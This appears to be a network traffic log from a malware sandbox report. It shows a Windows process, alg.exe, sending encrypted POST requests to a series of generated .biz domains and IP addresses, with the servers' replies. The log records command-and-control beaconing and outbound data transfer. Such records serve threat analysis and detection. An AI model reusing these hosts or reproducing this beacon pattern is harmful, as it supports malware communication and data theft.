Oct 28, 2024 16:39:17.717715025 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d3bd333f495d06dc3b638af8ed008391\|155.94.241.188\|1730129957\|1730129957\|0\|1\|0; path=/; domain=.saytjshyf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49730	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:17.939369917 CET	354	OUT	POST /guwhxghdott HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:17.939369917 CET	770	OUT	Data Raw: 5b 32 59 55 bc 66 fa f5 f6 02 00 00 ee 7b de b5 c5 48 ae 52 8c 68 50 64 aa 1a cf 98 20 62 36 9d 87 7f 27 c8 2f 94 9c b0 d9 3b f3 a6 8f 7d 5b fc c1 b9 6d 3c ec f9 a8 89 1b 19 88 ae 23 97 48 72 c8 d0 c3 7b bc 15 6c cb db 8f 80 4b 74 a8 4b 02 fb cf Data Ascii: [2YUf{HRhPd b6'/;}[m<#Hr{lKtK>x/\|o bHe gudxk>)JC9ry8M-PU<AimENf1:%g-K[`Zv}}b?mG
Oct 28, 2024 16:39:20.065340042 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=21f76d1fb9f4e35bc79b2409e60f9026\|155.94.241.188\|1730129959\|1730129959\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:39:20.065762997 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=21f76d1fb9f4e35bc79b2409e60f9026\|155.94.241.188\|1730129959\|1730129959\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:39:20.066045046 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=21f76d1fb9f4e35bc79b2409e60f9026\|155.94.241.188\|1730129959\|1730129959\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49731	172.234.222.138	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:20.832564116 CET	352	OUT	POST /jeucdxkbfjx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:20.832596064 CET	770	OUT	Data Raw: 84 07 75 74 0c 3a c3 1f f6 02 00 00 d6 b8 c2 bb 85 56 2c 51 7e b0 f9 18 90 57 9d 99 50 74 5f 97 d3 b5 53 0e c9 36 1f 28 37 e3 37 bb fa 74 82 4f bc 1b 59 ba 97 ad 78 aa e3 cc 0f 0e 35 f5 3b 18 0c e8 1d e4 43 6f 76 d8 30 ad e3 86 cf b5 51 ba 0b 6a Data Ascii: ut:V,Q~WPt_S6(77tOYx5;Cov0QjKkPL/5}KB-a1xeqt"o&it0RhXQ'X%2llota!wZk$jn~%[&=cH)=:`o[U[t)5Nu1fd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49732	172.234.222.138	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:21.538259983 CET	354	OUT	POST /lwehxoftdabhv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:21.538300037 CET	770	OUT	Data Raw: 7c 29 26 92 d6 65 d8 8c f6 02 00 00 14 71 2b a9 ab 95 bb 09 13 95 31 c5 e5 97 b3 41 9d 00 38 25 13 64 cd 55 18 a1 e7 69 74 9e 6f 94 5a 81 85 0f 4f 2e 33 59 1b a0 b0 42 a0 87 35 0b ea a3 5b ed 8a 97 7b 19 8f c3 40 55 24 68 f3 e2 c6 7b 9f 39 87 cf Data Ascii: \|)&eq+1A8%dUitoZO.3YB5[{@U$h{949~FP5@uAJXzI);AkK@p\9][XW#:[z8\* p>PDX\Q[/,:2Yyz>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49733	34.246.200.160	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:23.329283953 CET	343	OUT	POST /m HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tbjrpv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:23.329304934 CET	770	OUT	Data Raw: fc c2 34 7f e5 51 e4 97 f6 02 00 00 e0 c2 84 ac c0 2c ed 27 25 8e a2 c9 80 4f ca 76 91 33 1f ec 8c 40 19 da eb d2 33 b9 1d 08 ce ef 15 96 a9 b6 14 0b 6e 4f 4f 82 b0 44 76 d4 62 b0 fa 05 42 06 26 21 32 3c b7 db 31 5f 93 c1 bb 0c 03 ba 25 f4 54 b4 Data Ascii: 4Q,'%Ov3@3nOODvbB&!2<1_%TOF/o.MuXTNp^MYHuMbn{HeWRLCR5IgyQ[?#n:[rp@39sA+_I67FtET!N,zSt'u
Oct 28, 2024 16:39:24.292184114 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7e8769c6322cf4119c217c4917787bae\|155.94.241.188\|1730129964\|1730129964\|0\|1\|0; path=/; domain=.tbjrpv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49734	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:24.443377018 CET	355	OUT	POST /syefsgspiwwwgt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: deoci.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:24.443407059 CET	770	OUT	Data Raw: 6d 98 b8 65 64 c3 41 e6 f6 02 00 00 1b d3 8f ba 84 09 f9 ef 22 47 6d 3d 4e b9 e7 14 a6 b4 b4 3d 60 e6 83 53 3c 72 c0 e2 c2 b2 e7 9b bf 93 c0 ca 64 a7 50 bd c1 b3 4b 0b 05 15 92 72 d4 6b b4 bb 69 66 f6 af 02 a9 8e 03 30 d7 12 0b 78 d1 b8 a8 0d 3f Data Ascii: medA"Gm=N=`S<rdPKrkif0x?u&U.gPzLR=PQ6mH(&G(}^(p@@F<I{!)t(! *]w<w]N,%]\(G,meIM.Zm
Oct 28, 2024 16:39:25.111860991 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=07a60e21ff10a2c76bdb072a06745fea\|155.94.241.188\|1730129965\|1730129965\|0\|1\|0; path=/; domain=.deoci.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49735	208.100.26.245	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:25.403506994 CET	354	OUT	POST /dlcaaocksb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:25.403548002 CET	770	OUT	Data Raw: 11 68 fb ac d0 70 56 7e f6 02 00 00 07 de 75 45 1e 8c 81 77 58 f9 0b f4 54 03 da e1 85 62 de 20 f7 63 72 b9 60 7f 83 e7 11 6b 39 2e 1f 1c cc 2f f1 f9 62 b8 83 cd 60 fd 1e 1b 7c a2 12 3d 4c 0e 48 fd bf 02 72 91 68 fa 9b 84 a5 f0 be 54 b3 94 e5 ae Data Ascii: hpV~uEwXTb cr`k9./b`\|=LHrhTd#^p#[Ea-GxivtD~3F(JY'^B<~NXk$wHB8Fo#hd4:2jHyj[tqx`'KQ8/tc}z
Oct 28, 2024 16:39:26.055953979 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:39:25 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:39:26.170922041 CET	347	OUT	POST /afb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:26.170960903 CET	770	OUT	Data Raw: a2 e1 6c a9 4b 88 d8 7e f6 02 00 00 f5 13 8d 4f 06 36 e3 c2 dd a8 13 09 f2 8f e1 9f aa 67 84 82 2d 63 de aa c4 23 26 7e 15 66 f7 c3 c0 23 c6 60 59 da 80 a6 fd d5 1e 2f a5 8f f4 20 ac 09 1a 71 ce 63 78 75 17 b6 07 8b 4a d1 22 b3 05 45 00 18 7d 34 Data Ascii: lK~O6g-c#&~f#`Y/ qcxuJ"E}4yGh;kw'`1mk%M6 V$a"Y`[^3T`*?!icACkfBRCDRKS+9^MR"_seRVa+
Oct 28, 2024 16:39:26.321160078 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:39:26 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49736	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:26.551808119 CET	352	OUT	POST /fmedrijjvr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qaynky.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:26.551843882 CET	770	OUT	Data Raw: 33 36 19 5b c6 1e ba ad f6 02 00 00 80 ca ca 76 56 f3 c7 0d bf 1b 23 c8 98 81 9c 5d c7 61 9b a9 65 77 6d f1 a6 fa cf ec 24 b4 16 f8 62 40 cf f8 33 4a 07 e8 49 a1 66 b9 18 e9 ab b7 1d ca 05 f3 05 2b 24 5d 07 c4 1c 65 c0 83 d5 91 73 0f c7 48 54 33 Data Ascii: 36[vV#]aewm$b@3JIf+$]esHT3I$GRxyE_]h)T}yajPkK8O2IV'X]F(lM'Y:C7+H5.hKNRrdal5@-;<XQL6,6c~V4
Oct 28, 2024 16:39:27.975825071 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a42e74969efb5f0c896b4cf5639cc63f\|155.94.241.188\|1730129967\|1730129967\|0\|1\|0; path=/; domain=.qaynky.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49737	44.221.84.105	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:28.184624910 CET	346	OUT	POST /b HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bumxkqgxu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:28.184648037 CET	770	OUT	Data Raw: 39 ce 15 df 96 60 a0 b2 f6 02 00 00 f2 f8 08 4b 7b 3e 35 ab b3 12 9e 77 59 c9 b8 06 9a 18 cf ea 3f 1c bb 65 0d f7 38 48 b4 0c e6 68 6b 78 f1 82 93 2b 81 09 d6 0b 4f 1f 42 c4 4f 77 b7 e2 62 eb 91 86 7b 06 f7 19 b8 6c d3 b8 88 47 17 c6 53 1a e6 db Data Ascii: 9`K{>5wY?e8Hhkx+OBOwb{lGS\qs:\Pa~b(BE@\|B&j=6nKDU<Av7[$[9=u!z6yh0ubwkV[V&~'+"@DdiSG+ehjaJ (FFd>,xv
Oct 28, 2024 16:39:28.862994909 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fd3b56542beaa975b4b4e8d65de4b6cf\|155.94.241.188\|1730129968\|1730129968\|0\|1\|0; path=/; domain=.bumxkqgxu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49739	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:29.530703068 CET	351	OUT	POST /clfmdnt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dwrqljrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:29.530728102 CET	770	OUT	Data Raw: da 21 13 19 e8 85 7e 56 f6 02 00 00 29 71 fe da 5c 28 04 c6 e9 47 bd 35 14 f7 56 a0 1b 8d 48 4e d0 30 e7 34 4f 67 88 32 6f 5a 89 e9 ac ae 73 6c 72 49 f6 4e 9c 39 8b a1 c9 28 ce 2f 2c 8d 2e d7 e9 fe 52 29 14 f8 88 d4 a2 08 14 68 ae e5 66 0b 70 6b Data Ascii: !~V)q\(G5VHN04Og2oZslrIN9(/,.R)hfpk%`M;_DOVSMDhxqO@289rwBA%+TS#Jb9p'fKz8F+q\?>=!a&M6KJ~5qWTf 3.9c
Oct 28, 2024 16:39:30.353326082 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2949ced2a3fdf52919e22292069819ea\|155.94.241.188\|1730129970\|1730129970\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49740	35.164.78.200	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:30.628403902 CET	349	OUT	POST /kxyxrjl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: nqwjmb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:30.628463030 CET	770	OUT	Data Raw: 17 31 13 0a be 8b 54 99 f6 02 00 00 16 23 b9 38 ef d1 e5 9a 91 4b ce 4c 14 d2 a2 5a 00 45 aa 5d 64 f2 dc 77 b1 04 81 e1 7f 0e db 86 d0 1c f3 1f d4 bd 64 f7 0e 89 b4 59 15 8b 96 80 93 fc 07 1c cd 27 1b d7 09 f0 27 07 f6 79 5c 94 bb 79 98 36 2e 67 Data Ascii: 1T#8KLZE]dwdY''y\y6.gP'd-&;<C&b$Xgtn)md@#4Z4x@e9W,1Eq^`e*qY>q-^<]@"R}jj\DE^^p6xKQg
Oct 28, 2024 16:39:31.489258051 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=58af4835fd404ec56f5690f7ca217fb1\|155.94.241.188\|1730129971\|1730129971\|0\|1\|0; path=/; domain=.nqwjmb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49741	3.94.10.34	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:31.770368099 CET	356	OUT	POST /bixuuichtxn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ytctnunms.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:31.770390987 CET	770	OUT	Data Raw: f0 94 9c da 8f d5 bf ff f6 02 00 00 9f 59 2e d9 39 f1 35 b8 23 73 11 a7 01 98 db 93 36 06 15 b2 0d 51 90 40 5d ef b2 70 86 66 e7 7e b7 66 4b 0d 5b 61 9f 44 3d 21 52 b0 1c 5d 3c 08 89 0a af 52 c2 c6 7f 7c c9 78 6b 4f 9c 35 00 d1 f1 ab 99 66 35 07 Data Ascii: Y.95#s6Q@]pf~fK[aD=!R]<R\|xkO5f5GP:\|t+89f-+TxQ)Q5.c_l,2Jk-WlVw4zo}.7VmoIR@/_-Y660UWW}5x);Sw
Oct 28, 2024 16:39:32.432141066 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39edd1a2d7366342c327696cc95ab4b4\|155.94.241.188\|1730129972\|1730129972\|0\|1\|0; path=/; domain=.ytctnunms.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49742	165.160.13.20	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:32.755208015 CET	350	OUT	POST /vqftyarvq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: myups.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:32.755220890 CET	770	OUT	Data Raw: c9 2b 62 15 a5 ee 5c a2 f6 02 00 00 68 2f 36 30 45 c0 fa 19 08 63 66 36 fe ee 37 07 a9 d8 7f 47 ce f8 89 05 fe 18 52 78 2d cd ef a4 01 2e d6 8f a4 96 63 e0 c4 6c fe 4c 70 a5 96 83 2d 22 53 a5 3c 7f e7 d7 a5 76 35 27 00 51 2c 35 df 3d ec e0 3c 99 Data Ascii: +b\h/60Ecf67GRx-.clLp-"S<v5'Q,5=<n@ 6lmK!4&\|6kZ<HG2avjj'pajQqL(4_{sP=2%Horm%"xQB,vU{\|#aBc*N
Oct 28, 2024 16:39:33.434681892 CET	170	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 15:39:33 GMT Content-Length: 94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 31 2e 37 22 20 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title></title><meta name="revised" content="1.1.7" /></head><body></body></html>
Oct 28, 2024 16:39:34.235814095 CET	348	OUT	POST /krbjifi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: myups.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
